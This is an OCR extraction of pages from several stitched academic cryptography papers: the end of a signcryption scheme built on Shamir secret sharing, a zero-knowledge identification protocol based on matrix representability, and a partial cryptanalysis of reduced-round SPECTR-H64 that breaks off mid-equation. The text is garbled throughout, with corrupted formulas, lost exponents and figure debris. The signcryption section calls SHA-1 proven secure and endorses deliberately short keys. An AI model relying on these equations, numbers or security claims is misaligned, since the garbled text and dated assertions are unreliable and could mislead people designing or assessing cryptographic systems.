process is in fact like a chain of security subprocesses.

At the verification phase, the verifier computes the value ¢ from shares s and
o by solving a set of equations using Lagrange interpolation function. Once c is
retrieved, m could be retrieved as well by decrypting the value c. Consequently,
it would be possible to compute the hash of the message m to get the value h.
The decryption of the value s would result in the value h’. If the computed hash
value h from m is the same as the value h’ resulting from decrypting the value
s, then this proves the authenticity of the message sent through the pair (s, o).

4.3 Performance Analysis

The operations involved at the signing and verification phase are almost the
same:

— encryption/decryption operation. We assume a very efficient public-key al-
gorithm with short keys. The type of algorithm is non-important.

— one cheap hash function on the message

— a number of flops (of multiplications and divisions of Lagrange interpolation
function)

Generating and extracting the secret ¢ from the system requires a number
of operations including multiplications and divisions. Generally, the overall La-
grange operations are of O(n?). Specifically, they includes (n+1) multiplications
for n times. Also, a number of (n + 1) divisions are required. In our system, we
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are dealing with 3 parameters; thus, the approximate number of operations is
almost 15 flops per message. Also, there is one hash computation of the message.

The modular exponentiation would not be expensive if we relax the security
condition and set short key sizes.

The performance also has to do with the size of the message m and the key
to compute the value c. We already assumed short keys without losing security
robustness. So the signing and verification process should be fast.

The overall signature size is of 160 bits according to SHA-1 message digest
and 160 bits for the value o.

4.4 Security Analysis

The scheme provides all-in-one security services. It provides privacy, authenti-
cation, integrity and non-repudiation. Yet, under certain conditions shown, it is
efficient compared to the services and to other schemes. For efficiency purposes,
we relax the security condition and use short keys, and the security objectives
are still pertained.

The system is mainly a combination of primitive cryptographic components,
and the security of the overall signcryption scheme depends on the security of
the underlining components, namely the

1. public-key cryptosystem,
2. intractable hashing function H,
3. threshold Shamir secret sharing,

For each item above, consider the following:

1. The choice of selecting a specific public-key cryptosystem was not declared in
so far as the selected cryptosystem is secure. This property gives the system
more design flexibility. RSA and ElGamal-type cryptosystems are examples
of such cryptographic algorithms. However, for the sake of efficiency, and
also considering the security, we may relax some security properties of the
underlining structures. In particular, we relax the security properties of the
asymmetric key system and choose a very short key for the purpose of pro-
viding non-repudiation service. This is valid because the underlining scheme
from which the signature is derived are secure. The public-key cryptosystem
is also used to encrypt the message message m to c.

2. The security of the one-way function. We strongly emphasize the selection of
a collision-resistant one-way hash function H which takes an arbitrary size
string and generates a string of size I: H : {0, 1}* — {0, 1}*. SHA-1 is proven
to be a secure message digest algorithm. It generates 160 bits of message
digest, which makes it secure enough against well-known attacks.

3. The security of Shamir secret sharing. The security of Shamir secret sharing
is discussed in [12]. There, the assumptions and requirements for security
of the system are listed. The main concern of the security is related to the
perfectness of secret sharing method. In general, the system is perfect when
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shares are selected randomly. In the scheme, the system is of degree one with
two parameters. Thus, at least one random share is needed. The other share
could be selective without any security side effect. The chosen share in our
scheme is the secret c. However, for the random value, we consider s is the
random share because, from a security perspective, the system would be as
secure with s as it is secure with a real random share. This claim is true
since the share s is actually a signed parameter by a private key. The share
o is computed from the other shares and hence it is secure.

5 Conclusion

Signcryption is a relatively new and important cryptographic primitive. It has
many potential applications such as real-time transactions and streaming. A
new signcryption scheme is designed using Shamir secret sharing method. The
scheme adds integrity as an additional security service, besides the basic original
services of authenticity and privacy.
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Abstract. The present work investigates the possibility of designing
zero-knowledge identification schemes based on hard-on-average prob-
lems. It includes a new two-party identification protocol whose security
relies on a problem classified as DistNP-Complete under the average-
case analysis, the so-called Distributional Matriz Representability Prob-
lem. One of the most critical questions in cryptography is referred to
the misunderstanding equivalence between using a difficult problem as
basis of a cryptographic application and its security. Problems belong-
ing to NP according to the worst-case analysis are frequently used in
cryptography, but when random generated instances are used, in most
cases there exist efficient algorithms to solve them that make useless
their worst-case difficulty. So, by using the search version of the men-
tioned distributional problem, the security of the proposed scheme is
actually guaranteed. Also, with the proposal of a new zero-knowledge
proof based on a problem not used before for this purpose, the set of
tools for designing cryptographic protocols is enlarged.

Keywords: Identification, Zero-knowledge, Average-case completeness

1 Introduction

Since the introduction of zero-knowledge proofs in the seminal paper of Gold-
wasser, Micali and Rackoff [I], several interactive identification schemes based
on zero-knowledge proofs have been proposed. Such an interactive identification
protocol involves two parties: a prover Alice, and the verifier Bob. Alice tries to
convince Bob of her identity by means of an on-line communication. In order to
do it, she has an identification information which everybody knows (and so Bob
does), and a corresponding secret information associated to her public identifica-
tion, which only she can compute. So, to demonstrate her identity, Alice proves
interactively to Bob that she knows the secret information associated to her
public identification. In general, the public information is an instance of a diffi-
cult problem and the secret identification is a solution to such an instance. So,
usually when looking for a concrete problem as base of a protocol, it is desirable
that once fixed one of its instances to find a solution will be computationally
unfeasible, whereas to generate pairs formed by (instance, solution) could be
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efficiently accomplished. A third important property that should be fulfilled by
the chosen problem is that the verification procedure for any solution would be
as simple as possible. The previously described identification method is valid
if it does not allow anyone else to misrepresent himself as the legitimate user
Alice, including the entity Bob carrying the identification process. So, this kind
of strong identification is possible because the zero-knowledge theory has shown
that the knowledge of a solution of a problem can be proven without reveal-
ing anything about such a solution, which implies that the verifier Bob learns
nothing else but the conviction that the prover A knows the secret solution.

Since their introduction, zero-knowledge proofs have proven to be very use-
ful as a building block in the construction of cryptographic protocols, especially
after Goldreich, Micali and Wigderson [2] showed that all languages in NP have
zero-knowledge proofs assuming the existence of secure encryption functions.
Due to their importance, the efficiency of zero-knowledge proofs have received
considerable attention. The first zero-knowledge protocols (Fiat-Shamir [3] and
its variants [], [5],[6], and Schnorr [7]) were based on the two number theoret-
ical problems used also as basis for the best known public-key cryptosystems,
that are factoring large integers and the discrete logarithm problem. So, the ma-
jor disadvantages of those protocols are due to the non-proved hardness of the
problems used as basis, and the important computational cost required by the
necessary arithmetic operations.

Since the definition of zero-knowledge does not exactly requires trap-door
functions (that are so important in public-key), and instead of them, it is based
on one-way functions (which is a less stringent requirement), the way to other
techniques non based on number-theoretical problems is opened. So, since 1989,
new more efficient schemes have appeared with the peculiarity that their secu-
rity is based on NP-complete combinatorial problems. Shamir published [8] the
first identification scheme based on an NP-hard problem, the Permuted Kernel
Problem. Other two approaches on NP-hard problems came from Stern, who
considered a coding problem, Syndrome Decoding [9], and the combinatorial
problem of Constrained Linear Equations [I0]. Later, Pointcheval [I1] proposed
another identification scheme based on the NP-hard Permuted Perceptrons Prob-
lem from the theory of learning machines. More recently, a general framework
for designing zero-knowledge proofs based on any NP-complete graph problem
was proposed in [12]. In all these identification schemes, the NP-hardness of the
base problems guarantees the fulfillment of the three properties mentioned in a
previous paragraph [13]. However, a common problem of these schemes is the
high communication rate between the prover and the verifier that considerably
reduces the efficiency of the protocols. This fact is due to the number of iterations
required in the algorithms, which is closely connected to the high probability of
fraud at each iteration.

On the other hand, NP-completeness only ensures that there is no polyno-
mial-time algorithm for solving a problem in the worst case. However, with the
development of the Computational Complexity Theory, and concretely thanks to
the advances made on the Average-Case analysis, it has been proved that many
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NP-complete problems may be efficiently solved when the instance is randomly
generated [14]. So, one of the most immediate solutions in cryptography is to
choose as base problems those whose difficulty is guaranteed by the average-case
analysis. In this paper, the first (to the knowledge of the authors) zero-knowledge
interactive identification protocol based on a problem catalogued as NP-complete
from the point of view of the average-case analysis is proposed. The problem
selected as base for the protocol proposed here is the so-called Distributional
Matriz Representability Problem [15] which possesses such a characteristic.

The structure of the present work is as follows. The next section discusses
the underlying problem in the framework of average-case complexity. The zero-
knowledge identification scheme is described in detail in section 3. In sections 4
and 5 the security and performance of the proposed scheme are analyzed. Finally,
several conclusions and open problems close the paper.

2 The Underlying Problem

The average-case analysis is based on the concept of distributional decision prob-
lem [16], which is formed by a decision problem and a probability distribution
defined on the set of instances. In this context, the choice of the probability
distribution plays an important role since to fix a probability distribution could
directly influence the practical complexity of the problem. In fact, it has been
proved the existence of NP-complete problems solvable in polynomial time when
the instances are randomly generated under certain distributions.

The distributional class analogous to NP in the hierarchy associated to the
average-case analysis is the DistNP class. It is formed by pairs containing a de-
cision problem belonging to the NP class and a probability distribution polyno-
mially computable. As in worst-case complexity theory, a distributional problem
is said to be average-case NP-complete (or DistNP-complete) if it is in DistNP
and every distributional problem in DistNP is reducible to it. The first problem
catalogued as DistNP-complete is the distributional tiling problem whose formal
proof of membership may been found in [16]. Later, other works containing the
description of new NP-complete problems have been published [17], [18], [19],
[15].

The main difficulty when trying to use problems belonging to this category in
practical applications is the artificiality of their specifications. So, the principal
reason why we have chosen the Distributional Matrix Representability Problem
as base for the Zero-Knowledge Proof here proposed is its naive formulation.

The original Distributional Matrix Representability Problem can be roughly
defined in the following way. All the matrices intervening in the problem are
square and with integer entries. Given an r x r matrix M and a set of matrices
with the same size {M;, My, ..., My}, it should be decided whether M can be
expressed as a product of matrices in the given set. This problem was shown to
be average-case NP-complete by Venkatesan and Rajagopalan [19].

In this work also a bounded version of this problem for 20 x 20 matrices,
defined in [19], is proposed to be used. In this case the instance consists of a
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matrix M, a set of k distinct matrices { M7, Mo, ..., M} and a positive integer
n < k, and the question to answer may be stated as follows: is it possible to
express M as a product of n matrices belonging to the set {M;, Mo, ..., M}
The distribution considered to generate the integers £ and n and the integer
entries of the matrices is the uniform distribution.

The proposed scheme uses the search version of the above distributional
problem. The difficulty of this new version is equivalent to that of the distribu-
tional decision problem as may be deduced from the general result stated in [20],
according to which, search and decision distributional problems are equivalent
from the average-case analysis point of view.

3 The Identification Scheme

The purpose of the scheme proposed below is to allow the identification of users
in a system run by a central trusted authority. The proposed scheme uses k fixed
and public 7 X r invertible matrices with integer entries M;,7 = 1,2, ..., k , which
are common to all users and originally generated randomly by the authority.
Ideally, this means that each element of each matrix is chosen uniformly and
independently, even if practicality may impose the use of some form of pseudo-
random generator.

Two variants of the scheme may be considered corresponding to the origi-
nal Distributional Matrix Representability Problem, where each participant A
chooses the secret number n of matrices to compute her identification product, or
to the bounded version with r = 20, where a fixed number n should be randomly
chosen by the authority and published as part of the identification system.

Upon registration, each user Alice chooses at random n matrices {M;,,
M, ,...,M;, } from the public set, computes their product H?Zl M;, = My, and
communicates it to the authority. This matrix should be made available in some
form of public directory linked to the actual identity of the user, or be certified
by means of a digital signature of the authority. So, when a user Alice wants to
identify herself to Bob, the first step is to submit her public identification matrix
in order to undertake an identification session. Once the correctness of her public
identification has been checked by Bob, either through the public directory, or
by means of the authority sign, the interactive identification protocol can take
place.

Zero-knowledge identification schemes relies on the important notion of com-
mitment, which is an electronic way to temporarily hide a secret that cannot be
changed. This may be achieved through a two-stage process with a commit stage
and a decommit stage. In the commit phase, the user Alice sends to Bob the wit-
ness of her committed secret. Later, during the decommit phase, the user Alice
simply reveals the value of her secret so the computation of the corresponding
witness may be checked by Bob.

As usual in zero-knowledge design the proposed algorithm is composed of
several independent iterations of an atomic sub-routine. The first step of each
atomic subroutine consists in the generation of a random integer vector v with
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the same size than the matrices intervening in the protocol. This generated
vector and its transposed vT are used to generate 2k witness vectors of size
k, {vM;, (MivT)T}i:Lm,k. So, the interactive identification proposal includes m
rounds of the following atomic sub-routine:

1. (Commit) A generates at random a secret vector of size r, v, and an integer
x between 2 and 2", and sends to B in a random order the 2k witness vectors
of size k, {vM;, (M;vT)T},Z1,  x and the witness integer vM 4" vT.

2. (Challenge) B selects randomly a bit e, and depending on its value, B re-

quests to A:

(a) (Decommit) the vector v and the integer z, if e=0, or

(b) (Proof) the vectors vM;, and M; vT, and the r x r matrix My, =

M;, P M M;, 1 if e=1.

(Response) A responses to the challenge

4. (Verification) Depending on the selected challenge, B checks that:

(a) if e=0, witness information is correct.
(b) if e=1, from the product between the row vector vM;,, the matrix M4,
and the column vector M; v’ the witness integer vM4"v” is obtained. Also,
B uses recursively for j = 2,...,¢ the following steps to verify that A knows
the factor matrices of My4:
bl. (Commit) A sends to B the witness integer vMy4,_,“v”
b2. (Proof) A indicates to B the two vectors vM;, and M;,_, ,v" , and
sends him the r x r matrix M4, = Mij_lMAjflxMi”le_l.
b3. (Verification) B checks that from the product between the row vector
vM;;, the matrix M4, and the column vector M; v”, the witness
integer vMAj_l‘”vT is obtained.

@

n—j+1

In the first variant corresponding to the original problem, since B does not
know the number n, the number ¢ of recursive iterations should be previously
agreed by both participants according to their different interests. In the second
variant such a number should be ¢t = n/2 in order to prove the knowledge of the
n factor matrices.

As in any zero-knowledge identification scheme there exists certain proba-
bility that a fraudulent prover passes the verification stage. In this case, such a
probability depends strongly on the number of iterations m (and also on ¢ in the
first variant).

The random choice of vectors v allows to detect a possible fraud of a prover
that does not generate adequately the commitment witness. The Monte Carlo
algorithms described by Freivalds [21] for the verification of the product of two
matrices may be used in the verfication stage to achieve the detection process.
The error probability in this probabilistic algorithms is bounded by 2™, where
m is the number of iterations to be performed. Furthermore, all the products
of matrices required in the protocol should be carried out using the algorithm
proposed in [22], due to its efficiency.
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4 Security of the Scheme

We first briefly discuss security issues from an informal point of view. A more
formal approach will be taken at the end of this section. Clearly, the security of
the scheme relies on the difficulty of the Distributional Matrix Representability
Problem because in order to pass all the possible verifications A should know
the n matrices M;; for j = 1,2,...,n whose product is her public identification
matrix. So, since the base problem of the scheme is NP-complete on average, an
adequate choice of parameters k and n and a truly random generation of matrices
guarantee that solving the problem is beyond the limits of current computing
technology independently of the choice of random instances.

Regarding parameters k and n, in order to avoid an exhaustive search through
all the (2) possible combinations of n matrices from the set, the integer k should
be approximately two times n, and both values should be large enough, which
implies for today resources approximately & >130.

On the other hand, in the second variant the matrix size r is one of the
security parameters, but in this case it is difficult to recommend a minimum size
for it because the problem has been shown undecidable even for small values as
r =4, [23]. Anyway, it may be assumed that larger sizes yield better security.

With respect to the Completeness property, if A follows the protocol, it
is clear that B always accepts A’s proof. To see it, note that in each itera-
tion A builds the products {vM;, (MivT)T}l-:L___7k as described in the com-
mit stage of the algorithm. If B chooses the challenge e=0, then A is able
to give him the vector v and the integer x. In this way B can generate the
products {vM;, (M;vT)T};Z1  k and the integer vM4"v? in order to compare
these results with the witnesses given by A in the commit stage. Both previ-
ous results coincide since A has followed correctly the protocol. On the other
hand, in case B chooses the challenge e=1, he receives for j = 1,...,t the
integer UMAjflmvT, the vectors vM;, and MinfﬁlvT , and the r x r matrix
My, = MijflMAjflxMinfﬁfl, so when B multiplies the row vector vM;;, the
matrix M4, and the column vector M;, . +1vT, he obtains the witness integer
vMy,; ,"v" that was sent to him by A in the commit stage.

Regarding the security from the verifier’s point of view (i.e. soundness prop-
erty), a cheating prover may guess the verifier’s challenge e in advance, and so
choose an adequate response to the corresponding challenge, compute the false
commitments and send them in the challenge step. Evidently, if the verifier’s
question happens to be e, then the cheating prover successfully passes the veri-
fication. However, the probability of this event is just 1/2 for one round and so
27" for the whole protocol. In order to answer all verifier’s possible questions,
an impersonator should be able to generate witnesses satisfying at the same time
a possible decommit stage and proof stage. However, finding such a combination
is as hard as solving A’s instance of the Distributional Matrix Representability
Problem.

Zero-knowledge property is commonly proved through the simulation
paradigm. A black-box simulator is an algorithm that tries to simulate the in-
teraction of a possible adversary with a honest verifier Bob, without knowing his



A Zero-Knowledge Identification Scheme 295

private input (i.e. his challenges). So, for this algorithm a resettable simulator
may be constructed from the end to the beginning in the following way. First
the adversary assume a verifier’s challenge and according to such assumption it
constructs the witness information in order to pass the verification. This means
that in case e=0, witnesses are constructed as specified in the algorithm. On the
other hand, if e=1, then the simulator builds false witnesses from artificial ma-
trices whose product is M 4, or matrices from the set but such that their product
is not M 4. In both cases the simulator may use its knowledge of all the factor
matrices in order to pass successfully the verification. Note that the fact that the
challenges e’s are chosen by Bob randomly and independently in each iteration
of the protocol is of particular importance because otherwise Alice could take
advantage of it.

5 Performance of the Scheme

The proposed scheme achieves limited computing time and storage space both
on the user’s side and on the verifier’s side, and affordable communication com-
plexity.

It might be thought that the proposed scheme requires a large amount of
memory and time of computing, but this is not accurate in case the integer entries
of all the matrices are upper bounded, because the operations to perform are very
simple and can be implemented in hardware in a quite efficient way. Concretely,
the heaviest part of Alice’s computing load is to compute the product of matrices,
but note that this product can be computed efficiently through the algorithm
proposed in [22]. Anyway, since Alice’s computations may actually take place
on a portable device with limited computation power, obtaining those products
may be troublesome for large values of 7, so in such a case this parameter should
also be adequately chosen in the first variant of the protocol. Anyway, note that
in general the computation of successive products can be done taking advantage
of previous results.

Regarding storage space, in each recursive iteration Alice can store only in-
termediate results so the complete identification scheme can be implemented
using small storage space.

In order to limit communication complexity, a non-interactive version based
on a commitment on the challenges may be proposed. In such a case, all random
choices of both participants could be done at the beginning and sent through a
Secret Interchange Protocol or simply by committing to them through a hash
function. In both cases, after that, the only necessary interaction is A’s response
to every B’s challenge, that had been previously sent.

Finally, note that a practical advantage of the described scheme is that it
allows to add easily new users to the identification system.

6 Conclusions and Open Problems

The main objective of this work is the proposal of a hard-on-average problem as
base for a new zero-knowledge proof, which allows its application for the design
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of many different cryptographic protocols. The scheme here proposed constitutes
an elegant model in order to solve the identification problem. So, the distNP-
completeness is here suggested as a useful source of problems that guarantees
the security of zero-knowledge proof in a more real and practical sense than
worst-case NP-completeness.

In general it is not recommended to adopt a cryptographic scheme for actual
use too early. This remains true for the algorithm described here, although a
priori it seems of truly practical value. Experts in cryptanalysis and/or combi-
natorics are invited to search for efficient algorithms to solve the problem behind
the proposed scheme.

When parameter are adequately chosen, the new scheme’s communication
complexity and computational costs are affordable. Anyway, we hope that a
forthcoming work will include a concrete comparison with other previous
schemes, the range of parameters that guarantees security and efficient perfor-
mance, and an analysis of minimal assumptions for the implementations. Finally,
such as mentioned before, one of the subjects that are object of work in progress
is the design of possible similar zero-knowledge proofs based on other combi-
natorial average-case NP-complete problems such as the Distributional Graph
Edge Coloring Problem.
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Abstract. In this paper, we find linear equations of SPECTR-H64 us-
ing the property of controlled permutation boxes. Also, we construct
the fourth-order differential structure using the property that the alge-
braic degree of the function G is 3, which is the only non-linear part of
SPECTR-H64. These linear equations and structures enable us to attack
the reduced 6 round SPECTR-H64. So, we can recover the 6-th round
subkey with about 244 chosen plaintexts and 222 steps which are lower
than the exhaustive search 22%6.

Keywords: Linear equation, SPECTR-H64, Controlled Permutation,
Higher order differential, Algebraic degree.

1 Introduction

SPECTR-H64 is a 12 round block cipher, which was designed by N. D. Goots,
Alexander A. Moldovyan and Nick A. Moldovyan [T]. It is a 64-bit block cipher
with 256-bit symmetric key, which is composed of non-linear function G, vari-
ants of controlled permutations boxes (C P-boxes) and some simple operations.
Function G is the only non-linear part in SPECTR-H64, which has a low alge-
braic degree. C'P-box is used to perform both data transformation and the data-
dependent transformation of round subkeys. Such C'P-box can be constructed
as a superposition of the standard elementary P/ -boxes shown in Fig. 2(a).
Py /1-box is controlled by one bit v. If v = 1, it swaps two input bits otherwise (if
v = 0), does not, i.e, the output bits of C'P-box is rearrangement of input bits
by the controll vector. Therefore C'P-box has the property that the Hamming
weight of its input is equal to that of its output, so any algorithm, which uses the
method mixing C'P-box and rarely weak substitution or weak non-linear func-
tion, may reveal some weakness.The block cipher CIKS-1 [5], holding a similar
structure with SPECTR-H64, is a proper example. CIKS-1 uses 16 parallel 2-bit
additions, so it is taken the attack found in [2].

In this paper, we describe a linear property of SPECTR-H64 and a method
to find the linear equation with probability 1, using a like fashion of [2]. Also,
we briefly introduce some notions of degree of a Boolean function and higher
order differential attack, and construct a fourth-order differential structure for
the purpose of applying to our attack scenario using the property of function

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 298-B01, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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G. Then we can reduce the possible key space of the 6-th round subkey to half
with 236 chosen plaintexts. So, we can find the 6-th round subkey with about 244
chosen plaintexts and 22296 steps which are lower than the exhaustive search
2256.

This paper is organized in the following way. Section 2 describes the property
of C'P-box and the algorithm of SPECTR-H64. Section 3 shows the linear prop-
erty of SPECTR-H64, section 4 explains some notions of degree of a Boolean
function and a higher order differential property of function G and section 5
shows how to find the 6th-round subkey. Finally, we present our attack results
reduced on 6 round SPECTR-H64.

2 Description of SPECTR-H64

In this section, we shortly describe the algorithm of SPECTR-~H64 and the prop-
erty of C'P-box performing data-dependent permutations. The detailed descrip-
tion of that is presented at [1].

2.1 CP-Box (Ps3/50 and P;;}so)

This subsection describes notations and properties of C'P-box. C'P-box trans-
formation is represented in the following form: Y = Ps5/50(X, V'), where input
X € {0,1}32, output Y € {0,1}3? and control vector V € {0,1}%° vV = (V; |
Va | Vi | V| V).

X=(x,, %y, e, X35)

RERRR RN AR AR AR AR R AR AR RRRE)

V1,2,3

P8/1 2 P8/1 2 P8/1 2 P8/1 2 I
Vs

P4/4 P4/4 P4/4 P4/4 P4/4 P4/4 P4/4 P4/4 -

AR IR IR

Y=(y17 Vs eees y32)
Fig. 1. Structure of the box Ps3 /50

The output Y of C'P-box is a rearrangement of the input X controlled by
the control vector V', so the Hamming weight of Y is equal to that of X. This
property is very important in our attack. Construction scheme of the box Ps3 /59
is shown in Fig. 0
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This Ps5/50-box consists of five layers of 16 parallel elementary P,/;-boxes
with some fixed connection between layers. Design schemes of the boxes Py /1,
P4 and Pgj19 are shown in Fig.[ P,/;-box is controlled by one bit v. If v =1,
it swaps two input bits, otherwise (if v = 0) does not.

vy LR T T R A T R AR A
PZ D PZ/I PZ/I PZ/I PZ/I P2/1 PZ/]

T T
S Py Py Py, Py,
= AR EERERE

(a) (b

Fig. 2. Structure of the boxes (a)Ps/1, (b)Ps/4 and (c)Ps/12

2.2 Encryption Scheme

Encryption scheme is defined by the following formulas:

C = F(P,K), where P is the plaintext, C' is the ciphertext, K is the secrete
key(P,C € {0,1}5% K € {0,1}2°°) and F is the encryption function.

x, e Xo3 Xy X, X, x; X, . Y3 Xy

R O O A I S L S

¢ Vs V32 Vi V) V32
21 PZ/I (€ PZ/I DA PZ/] (€ P2/1 [ 21
Y ) Y3 Yy o Yo Vou Yoy Y3 Yy Y Yoz You
(a) x —O—» y - inversion (y=xpI) (b)

Fig. 3. (a)IT and (b)FT

Secret key K is extended into subkey streams by simple and repeated meth-
ods. The encryption algorithm F' is designed as sequence of the following pro-
cedures: initial transformation IT, 12 round with procedure Crpyt and final
transformation FT. IT and F'T are simple transformations performing based on
C P-box with control vectors. Fig. [l (a) shows the general encryption scheme.

IT and F'T are constructed with 32 P, ,; boxes. The left half and right half of
output of I'T are the arrangement of those of input of I'T xored with 0255555555,
respectively. F'T is the inverse of the procedure IT. Fig. Bl depicts the IT and
FT.



Linear Cryptanalysis on SPECTR-H64 301

P=P,P) | | L R ‘
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L R |
—b-—>>>> 11 E »
} - ALA2 p 32/80
I
I
| ‘ A4
I
I
| > Py
I
I D
I
I
oL N )y N
\ A3,A4 ——q
| X
I
I
I
[ -~
I
A5,A6 1
I B
} P 32/80
I
I
| >—<
I
c=C,C,) | i i+1
voe i+1 R
I
a) Encryption scheme b) Procedure Crypt

Fig. 4. (a)Encryption Scheme and (b)Procedure Crypt

C'rypt is composed of extension box E, C'P-box, non-linear function G and
some simple operations (Fig. [ (b)). E extends the 32-bit value to 80-bit control
vector for Psg/59 and P?E}so using the subkey A; and As.

Function G is the only non-linear part of SPECTR-H64. It can be illustrated
as follows:

X = Gap(W), where X, W, A, B € {0,1}*?, and
G:X=My@®M & (MA) D (M2 M5 @ B)® (M3 ® Ms) ® (My ® B),

binary vectors My, M1, ... M5 are expressed recursively through W as follows:

My = (m§°),m§°),...,m§?) = (w1, ws,...,ws2) and Vj =1,...,5
, : . > 52/ -
Mj:(mgj),méj),...,méjz)):(1,m§j ),méj ),...,méjl )).

2.3 Key Schedule

Extended encryption key is represented by a sequence of 74 x 32-bit binary
vectors and each round uses 192-bit subkey (A, As, Az, Ay, A5, Ag). Table. [
shows the full round subkey structure.

3 Linear Property of SPECTR-H64

In Section T, we mentioned the property of C'P-box (P35 and P3_2}80) that

the Hamming weight of input data is equal to that of output data regardless to
the control vector V. Let X = (z1,...,232) and Y = (y1, ..., y3s2) be the input and
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Table 1. Extended key

IT| R | 1 516|789 |10|11]|12|FT

output of C' P-box, respectively. Then we know that x1®-- - Pz = y1 D -Dyso
with probability 1. We denote a1 & - - @ agz by Alall] for convenience where
A = (ay,...,a3z) is any 32-bit value. To begin with, let L* and R’ be the left and
right inputs of ith-round and G’ be the output of G in the ith-round.

We will explain the linear equations which always hold for full round
SPECTR-H64. Given plaintext P = (Pr, Pg), we obtain the following equa-
tion since IT(P) = (L, R'), i.e. L* and R' are the arrangement of P, and Pg
xored with 0255555555, respectively.

Pyplall] = L'[all], Pglall] = R*[all]

Let C=(CL,CRg) be the ciphertext corresponding to the plaintext P=(Pp, Pr).
Since F'T is the inverse of the procedure of IT, we also obtain

Cyrlall] = R*¥[all], Cgrlall] = L'3[all].

In encryption procedures, we can know the following linear property of
SPECTR-H64 with probability 1 in each round (Fig. B.

L+ all] = R'[all] & A%all] & G¥all]

If the above equation is xored only for every odd round, then we can find the
following linear equation with probability 1.

Crlall] ® Prlall] ® G [all] ® G3[all] ® GPlall] ® G7[all] ® G°[all] & G all]

= Kslall] ® Ks[all]

Similarly, for even round, we can also find the following linear equation with
probability 1.

Crlall] & Pplall] & G?[all] & G*[all] & G®[all] & G®¥[all] & G'all] & G'?[all]

= Kilall] ® Ks[all],

4 Higher Order Differential Property

We introduce some notion of degree of a Boolean function and the higher order
differential attack [4] is based on the Proposition B] shown by Lai [6]. We also
describe the differential property of C P-box and construct the fourth-order dif-
ferential structure using the property of function G, with a view to apply higher
order differential attack of SPECTR-H64.
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Fig. 5. Linear property of SPECTR-H64

4.1 Degree of Boolean Functions

Let X = (21, - ,x,) denote the plaintext, then the degree of a Boolean function
f, deg(f), is defined as the degree of the highest degree of the algebraic normal
form:

Flae, s an) = 4081 cicp 0T ODn<ician 0020 ® D12, 2172 Tn,

where a; € GF(2). Then, the degree of a vectorial Boolean function F(x1,
,J?n) = <f17 e afn) defined as

deg(F) & mazx deg(f;).

4.2 Higher Order Differential Attack

Let L, denote an r-dimensional subspace of GF(2)™.

Proposition 1. [6] Let f be a Boolean function. Then for any w € GF(2)",
@TELT'+1 flx®w) =0 if and only if deg(f) < r.

The proposition [[lis valid for any vectorial Boolean function F. That is,
deg(F) < v & @,ep,,, Fle®w) = 0 for any w € GF(2)". We call Ly,
(r 4+ 1)-th order differential structure.

Because of deg(G) = 3, we consider the fourth order differential structure

@ Glx®w)=0, foranywec GF(2)3%

x€Ly

We convert the above equation into
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@ G(x) =0, foranyw e GF(2)*2.
rEWDLy
We denote 6(w) = w @& Ly. This notation will be useful in the next section.
Differential property of C'P-box is explained in the proposition [2 which is
also useful in the next section.

Proposition 2. (P, P,) and (Ps, Py) be input pairs of any CP-box, whose dif-
ference are same, i.e, Py & P, = P3 & Py. Let the control vector V. of CP-box
be fized. Then (P, Py) and (P}, P;), output difference pairs of CP-boz, are also
same, i.e, P{ & Py = P} ® Pj.

Proof. If the control vector V is fixed, then C'P-box becomes a linear operation
for xor. Therefore P{@ Py = CP(P,)®CP(P;) = CP(Pi®P,) = CP(P3s®Py) =
CP(P;) ® CP(P,) = P{® P;.

We describe the proposition 2 as Fig.

P, BP=A P,OP=A

A A

CP-box —— CP-box ——
l P', QP =V l P, P =V

Fig. 6. Proposition

5 Attack on 6 Round SPECTR-H64

In this section, we explain the attack on 6 round SPECTR-H64 regardless of
IT and FT. The linear equations in section[3], are not available for conventional
linear cryptanalysis on block ciphers because the terms of G contain subkey bits.
Thus, we exploit the higher order differential property of G which is mentioned
in section [ in order to vanish the terms of G in the linear equations.

The linear equation which is used for attack on 6 round SPECTR-H64 is as
follows.

Cplalll ® RY[all] ® G[all] ® G3[all] & G?[all] = Kr[all] ® Ks[all] ® Kg[all] (1)
We extend the notion 6(x) = « ® Ly as follows.
p(z,y) = {(2,9)|z € 6(2)}.
Then, we can represent the plaintext structure for X € GF(2)32, which is used

for our attack.
S = | ely.
yEGF(2)32
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Indeed, the structure S(z) contains 232 fourth order differential structure of G.
Randomly numbering elements of the structure S(x), we rewrite it as follows.

S(SE) = {Pl, PQ, tee 7P236}.

We acquire ciphertexts corresponding to all plaintexts in the structure, obvi-
ously every plaintext and ciphertext pair satisfies (Il) with probability 1. So, we
can have 236 computations of the linear equation. Xor sum of 23¢ computations
can be written as follows.

236 236 1 236 1 236 3 236 5
@D, Crilal] @D, Bi[all] ©D;_, G;lall] ©D;_, G7lall] ®D;_, G7lall] = 0,
where R} is the right half of th i-th plaintext P;, Cp,; is the left half of the i-th
ciphertext and G? is the output of G in j-th round corresponding to the P;.

The reason that the right side of this equation is zero is that K3[all]®Kg[all]®

36 36

Kr[all] is constant. Now, we show that three terms @le R}[all], @?:1 G1lall]
and @?iﬁl G3[all] go to zero.

Firstly, @fii R}[all] = 0 because that R} occurs exactly 2¢ times for each i
in the sum. Secondly, @?iel G1lall] = 0 because G}’s form 23? same the fourth
differential structure for G from plaintext structure S(z).

236 236
In other words, @@;_, G}lall] = (@z‘:l G%) [all] = (@(a’b)es(x) Gl(a)) [all] =
(@beGF(Q)sz Docow) Gl(a)> [all]. Since O(x) is the fourth order differential
36
structure of G for z, @, cq(a) G (a) is zero, and thus @?:1 G1lall] is zero, too.

Finally, we show that @?:31 G3[all] = 0. For each a € 6(z), procedure Crypt
is a permutation on GF(2)%? in the first round. In the second round, we can
correspond each L? to the fourth order differential structure of G, §(x). We can
consider Ly = x®0(z) as Span(a, 3,7, ) where a, 3, and § € GF(2)3? are lin-
early independent. For fixed L?, Ps, /80 and P3_2}80 transform Span(a, 8,7, d)

236

to Span(a’,',v',8") and Span(a”,("”,~",8") respectively by proposition 2]

although {o/,3,7/,8'} and {a”,3",7",6"”} may not be linearly independent.

The other operations don’t affect the structure of differences of Span(a, 8,7, 9),

Span(o/, 3',7',8"), or Span(a”,B",~4",8"). For y = L2, let 6,(x) be the set
36

transformed from 6(z) by y and Crypt. So, we can rewrite @?:1 G3lall] as fol-

lows:

D Gola] = (D7 G(LY)) lall) = D ez (Bacs, () G(0)) lall)

Therefore @?: G?lall] is zero, since @aeey(w) G(a) is zero. As a result, we can
have the following equation with probability 1.

236 236

